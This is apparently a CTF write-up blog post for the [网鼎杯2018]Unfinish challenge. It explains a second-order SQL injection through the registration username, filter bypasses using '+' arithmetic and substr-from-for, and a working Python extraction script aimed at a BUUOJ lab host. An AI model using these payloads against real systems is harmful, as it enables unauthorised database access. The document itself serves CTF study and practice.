[网鼎杯2018]Unfinish

场景
在这里插入图片描述
既然有login.php那就会有register.php,访问。
在这里插入图片描述
注册一个账号进去。
在这里插入图片描述
登录进去后看到我们的用户名了。
在这里插入图片描述
猜测在用户名处存在二次注入,再注册一个账号。
在这里插入图片描述
在这里插入图片描述
用户名变成了0,证明存在二次注入。

fuzz之后发现逗号,information等许多关键字被过滤了。

绕过方法:
mysql中,+只能当做运算符。
执行select '1'+'1a'时 结果
在这里插入图片描述
执行select '0'+database();
在这里插入图片描述
编程了0,但我们可以用ascii编码进行计算。
select '0'+ascii(substr(database(),1,1));
在这里插入图片描述
出来了库名第一位的ascii值。回到题目
因为过滤了逗号,所以用from for来代替
0'+ascii(substr(database() from 1 for 1))+'0;
在这里插入图片描述
在这里插入图片描述
成功回显,因为过滤了information,只能猜测字段名为flag
自己写了个脚本:

import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
    flag = ''
    url = 'http://b52b0533-2f84-4c9b-bd73-e912ab23a59f.node3.buuoj.cn/'
    url1 = url+'register.php'
    url2 = url+'login.php'
    for i in range(100):
        sleep(0.3)#不加sleep就429了QAQ
        data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
        data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
        r1 = requests.post(url1, data=data1)
        r2 = requests.post(url2, data=data2)
        res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
        res1 = re.search(r'\d+', res.group())
        flag = flag+chr(int(res1.group()))
        print(flag)
    print("final:"+flag)

if __name__ == '__main__':
    search()

在这里插入图片描述

  • 6
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值